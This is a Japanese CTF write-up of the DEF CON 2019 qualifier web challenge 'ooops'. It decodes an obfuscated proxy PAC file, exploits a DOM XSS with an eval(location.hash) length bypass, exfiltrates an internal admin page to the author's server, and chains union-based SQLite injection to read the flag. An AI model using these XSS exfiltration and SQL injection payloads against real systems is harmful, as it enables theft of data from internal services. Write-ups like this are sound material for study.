DEF CON CTF Qualifier 2019 Writeup - ooops
Question
On our corporate network, the only overflow is the Order of the Overflow.
attachment: info.pac
eval((function(){var s=Array.prototype.slice.call(arguments),G=s.shift();return s.reverse().map(function(f,i){return String.fromCharCode(f-G-19-i)}).join('')})(29,202,274,265,261,254,265,251,267,227,179,247,249,260,175,244,252,172,253,239,237,250,214,166,248,237,163,245,244,229,226,225,222,156,233,219,220,152,234,219,218,237,226,222,225,221,212,142,228,219,215,208,219,205,221,213,133,221,207,208,208,128,196,198,177,124,133,137,121,120,97,209,117,125,199,197,192,184,111,122,185,190,192,114,183,183,176,186,168,178,184,168,97,125,95,138,143,145,173,169,127,177,175,165,167,132,151,160,154,118)+(16).toString(36).toLowerCase().split('').map(function(c){return String.fromCharCode(c.charCodeAt()+(-71))}).join('')+(28).toString(36).toLowerCase().split('').map(function(d){return String.fromCharCode(d.charCodeAt()+(-39))}).join('')+(880).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(I){return String.fromCharCode(I.charCodeAt()+(-71))}).join('')+(671).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(p){return String.fromCharCode(p.charCodeAt()+(-71))}).join('')+(1517381).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(W){return String.fromCharCode(W.charCodeAt()+(-71))}).join('')+(31).toString(36).toLowerCase().split('').map(function(x){return String.fromCharCode(x.charCodeAt()+(-39))}).join('')+(30598).toString(36).toLowerCase()+(31).toString(36).toLowerCase().split('').map(function(M){return String.fromCharCode(M.charCodeAt()+(-39))}).join('')+(842).toString(36).toLowerCase()+(function(){var T=Array.prototype.slice.call(arguments),F=T.shift();return T.reverse().map(function(Q,S){return String.fromCharCode(Q-F-18-S)}).join('')})(36,161,205,187,188,200,190,184,154,146,223,226,228,226,210,222,139,147,146,143,214,207,147,219,210,206,199,210,196,212,204,203,202,129,121,132,203,201,196,188,123,186,180,196,176,155,189,196,144,178,188,112,103,172,174,100,99,76,112,106,95,181,172,168,161,172,158,174,134,112)+(11).toString(36).toLowerCase().split('').map(function(H){return String.fromCharCode(H.charCodeAt()+(-39))}).join('')+(1657494275).toString(36).toLowerCase()+(599).toString(36).toLowerCase().split('').map(function(o){return String.fromCharCode(o.charCodeAt()+(-71))}).join('')+(42727).toString(36).toLowerCase().split('').map(function(p){return String.fromCharCode(p.charCodeAt()+(-39))}).join('')+(519).toString(36).toLowerCase().split('').map(function(i){return String.fromCharCode(i.charCodeAt()+(-13))}).join('')+(16).toString(36).toLowerCase().split('').map(function(V){return String.fromCharCode(V.charCodeAt()+(-71))}).join('')+(41462560).toString(36).toLowerCase()+(30).toString(36).toLowerCase().split('').map(function(h){return String.fromCharCode(h.charCodeAt()+(-71))}).join('')+(2103412979233).toString(36).toLowerCase()+(function(){var n=Array.prototype.slice.call(arguments),z=n.shift();return n.reverse().map(function(l,V){return String.fromCharCode(l-z-58-V)}).join('')})(9,190,182,181,180,114,124)+(892604048).toString(36).toLowerCase()+(30).toString(36).toLowerCase().split('').map(function(T){return String.fromCharCode(T.charCodeAt()+(-71))}).join('')+(18).toString(36).toLowerCase()+(function(){var V=Array.prototype.slice.call(arguments),v=V.shift();return V.reverse().map(function(i,Y){return String.fromCharCode(i-v-53-Y)}).join('')})(48,160,212)+(8).toString(36).toLowerCase()+(function(){var q=Array.prototype.slice.call(arguments),b=q.shift();return q.reverse().map(function(X,r){return String.fromCharCode(X-b-11-r)}).join('')})(1,54,62,69,60)+(11).toString(36).toLowerCase().split('').map(function(y){return String.fromCharCode(y.charCodeAt()+(-39))}).join('')+(20).toString(36).toLowerCase().split('').map(function(S){return String.fromCharCode(S.charCodeAt()+(-97))}).join('')+(function(){var u=Array.prototype.slice.call(arguments),r=u.shift();return u.reverse().map(function(e,v){return String.fromCharCode(e-r-55-v)}).join('')})(27,207));
Solution
待望のWeb問題。
1. info.pacの解析
info.pacは難読化されたJavaScript。拡張子からプロキシ設定ファイルと推測する。
info.pacのコードをそのままChromeの開発者ツールのコンソールで実行すると以下の関数が定義される。
FindProxyForURL = function(url, host) { /* The only overflow employees can access is Order of the Overflow. Log in with OnlyOne:Overflow */ if (shExpMatch(host, 'oooverflow.io')) return 'DIRECT';return 'PROXY ooops.quals2019.oooverflow.io:8080'; }
推測通りプロキシ設定。username/passwordもコメントに書かれている。
プロキシを使用してexmaple.comにリクエストを発行してみる。
root@kali:~# curl --proxy ooops.quals2019.oooverflow.io:8080 --proxy-user OnlyOne:Overflow http://example.com/ <!doctype html> <html> <head> <title>Example Domain</title> (snip)
プロキシは有効なようだ。ここからはブラウザにプロキシ設定して攻略を進める。
2. ブロック画面と申請画面の調査
oooverflow.io
にプロキシを使用してリクエストを発行してみる。
root@kali:~# curl --proxy ooops.quals2019.oooverflow.io:8080 --proxy-user OnlyOne:Overflow http://oooverflow.io -v * Trying 35.236.48.134... * TCP_NODELAY set * Connected to ooops.quals2019.oooverflow.io (35.236.48.134) port 8080 (#0) * Proxy auth using Basic with user 'OnlyOne' > GET http://oooverflow.io/ HTTP/1.1 > Host: oooverflow.io > Proxy-Authorization: Basic T25seU9uZTpPdmVyZmxvdw== > User-Agent: curl/7.63.0 > Accept: */* > Proxy-Connection: Keep-Alive > < HTTP/1.1 200 OK < Content-Type: text/html < Content-Length: 562 < * Excess found in a non pipelined read: excess = 2, size = 562, maxdownload = 562, bytecount = 0 <!DOCTYPE html> <html> <head> <script src="/ooops/d35fs23hu73ds/scripts/main.js"></script> <link rel="stylesheet" type="text/css" href="/ooops/d35fs23hu73ds/css/main.css" > <link rel="stylesheet" type="text/css" href="/ooops/d35fs23hu73ds/css/bootstrap.min.css" > <meta charset="utf-8" /> </head> <body> <div class="container"> <h1>Page Blocked</h1> <img id=logo src="/ooops/d35fs23hu73ds/images/ooo.png"> <br/> <div id="blocked"></div> <a href="/ooops/d35fs23hu73ds/review.html">Request site review</a> </div> </div> </body> </html> * Connection #0 to host ooops.quals2019.oooverflow.io left intact
Webブラウザでも表示する。どうやらプロキシでブロックされているようだ。
Request site review
のリンクをクリックすると、管理者にブロック解除を申請する画面に遷移する。
試しに、自サーバのURLを入力して申請してみると、管理者とみられるユーザからアクセスが来た。
35.236.48.134 - - [12/May/2019:13:37:41 +0900] "GET /aaaa HTTP/1.0" 404 464 "http://10.0.1.69:5000/admin/view/15" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
Refererを見ると、http://10.0.1.69:5000/admin/view/15
から遷移されている。
なお、何度か試すと、IPアドレスとURLの末尾の数字は変動することがわかる。
管理者用の画面(/admin/view/1
)のコンテンツを入手する方法を考える。
3. XSS
プロキシのブロック画面で/ooops/d35fs23hu73ds/scripts/main.js
をincludeしている。
main.js
のコードは以下の通り。
function split_url(u) { u = decodeURIComponent(u); // Stringify output = u[0]; for (i=1;i<u.length;i++) { output += u[i] if (i%55==0) output+= "<br/>"; } console.log(output) return output } window.onload = function () { d = document.getElementById("blocked"); d.innerHTML=(split_url(document.location) + " is blocked") }
document.location
へ55文字ごとに<br/>
を差し込んで、innerHTMLにセットしている。XSSできそうだ。
http://oooverflow.io/<img src=x onerror=alert(1)>
にアクセスするとアラート表示に成功した。
ただ、http://oooverflow.io/
でXSSが成功しても、クロスドメインになるため、目的とするhttp://10.0.*.*:5000/admin/view/1
からコンテンツは窃取できない。
プロキシがブロック画面を表示する条件を確認する。
root@kali:~# curl --proxy ooops.quals2019.oooverflow.io:8080 --proxy-user OnlyOne:Overflow http://hoge.oooverflow.io/ -s | grep "Page Blocked" <h1>Page Blocked</h1> root@kali:~# curl --proxy ooops.quals2019.oooverflow.io:8080 --proxy-user OnlyOne:Overflow http://example.com/oooverflow -s | grep "Page Blocked" <h1>Page Blocked</h1>
URLのどこかにoooverflow
が含まれていることが条件だったようだ。ドメインでなくてもよい。
これでhttp://10.0.*.*:5000/oooverflow/<img src=x onerror=攻撃コード>
のURLを管理者に申請することでコンテンツ窃取することができる。
しかし、55文字ごとに<br/>
を差し込む妨害をバイパスする必要がある。
色々な方法があるとは思うが、ハッシュ(URLの#以降の文字列)をevalで実行する方法で、長さ制限をバイパスすることにした。
HTMLのBodyのコード部分に<br/>
が混入したとしてもハッシュに変化は無いため、任意の文字列のコードが実行できる。
以下はアラート表示させるXSSのURL例。
http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/<img src=x onerror=eval(location.hash.substring(1))>#eval(unescape('alert("hoge")'))
aaaaaaaaaaaaaaaaaaaaaaaaa
は、imgタグの途中で<br/>
が混入しないための調整用の文字列。
ハッシュのevalとunescapeは、コード内の記号にURLエンコードがかかるため、それをデコードするための処理。
/admin/view/1
のコンテンツを取得して自サーバに送信するコードをハッシュにセットし、ブロック解除を申請する画面に入力する。
http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/<img src=x onerror=eval(location.hash.substring(1))>#eval(unescape('xhr=new XMLHttpRequest();xhr.open("GET","/admin/view/1",false);xhr.send();location.href="http://myserver/q="+window.btoa(xhr.responseText);'))
直後、自サーバにアクセスが来た。
35.236.48.134 - - [12/May/2019:17:30:52 +0900] "GET /q=PCFkb2N0eXBlIGh0bWw+CjxodG1sPgo8aGVhZD4KPHRpdGxlPk9PT1BTIC(snip)
BASE64デコードすると/admin/view/1
の画面コンテンツを入手できた。
<!doctype html> <html> <head> <title>OOOPS — Evaluate Requests</title> <link href="/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"></head> <body> <div class="container"> <div class="row"> <!-- Query: select rowid,* from requests where rowid=1; --> <p> Request #1 from b'10.255.0.2'. Automatically evaluated </p> <a id="lnk" class="btn btn-secondary btn-block btn-lg" href="http://10.0.8.6:5000/overflow/(snip) Visit http://10.0.8.6:5000/overflow/(snip) </a> </div> </div> </body> </html>
なお、管理者のクローラーのIPアドレスと、入力したURLのIPアドレスが一致していないと、Only internal users may access this website
のメッセージが含まれるコンテンツが返却される。管理者のクローラーのIPアドレスは頻繁に変わるようで、何度もリトライした。もう少し確実な解き方があったのかもしれない。
4. SQL Injection
/admin/view/1
の画面コンテンツを見ると、興味深い文字列を発見する。
<!-- Query: select rowid,* from requests where rowid=1; -->
SQL Injectionで攻めるのが明らかである。
/admin/view/1
の代わりに/admin/view/0 union select 1,2,3,4,5
をセットして申請すると、テーブルが5列であることがわかる。
http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/<img src=x onerror=eval(location.hash.substring(1))>#eval(unescape('xhr=new XMLHttpRequest();xhr.open("GET","/admin/view/0 union select 1,2,3,4,5",false);xhr.send();location.href="http://myserver/q="+window.btoa(xhr.responseText);'))
↓
(snip) <!-- Query: select rowid,* from requests where rowid=0 union select 1,2,3,4,5; --> <p> Request #1 from 2. Automatically evaluated </p> <a id="lnk" class="btn btn-secondary btn-block btn-lg" href="4"> Visit 4 </a> (snip)
次に0 union select 1,2,3,sql,5 from sqlite_master
をセットして申請する。
flagテーブルが存在することがわかる。
http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/<img src=x onerror=eval(location.hash.substring(1))>#eval(unescape('xhr=new XMLHttpRequest();xhr.open("GET","/admin/view/0 union select 1,2,3,sql,5 from sqlite_master",false);xhr.send();location.href="http://myserver/q="+window.btoa(xhr.responseText);'))
↓
(snip) <!-- Query: select rowid,* from requests where rowid=0 union select 1,2,3,sql,5 from sqlite_master; --> <p> Request #1 from 2. Automatically evaluated </p> <a id="lnk" class="btn btn-secondary btn-block btn-lg" href="CREATE TABLE flag (name TEXT, flag TEXT)"> Visit CREATE TABLE flag (name TEXT, flag TEXT) </a> (snip)
最後にflagを取得するSQLをセットして申請する。
http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/<img src=x onerror=eval(location.hash.substring(1))>#eval(unescape('xhr=new XMLHttpRequest();xhr.open("GET","/admin/view/0 union select 1,2,3,flag,5 from flag",false);xhr.send();location.href="http://myserver/q="+window.btoa(xhr.responseText);'))
↓
(snip) <!-- Query: select rowid,* from requests where rowid=0 union select 1,2,3,flag,5 from flag; --> <p> Request #1 from 2. Automatically evaluated </p> <a id="lnk" class="btn btn-secondary btn-block btn-lg" href="OOO{C0rporateIns3curity}"> Visit OOO{C0rporateIns3curity} </a> (snip)
フラグゲット。
OOO{C0rporateIns3curity}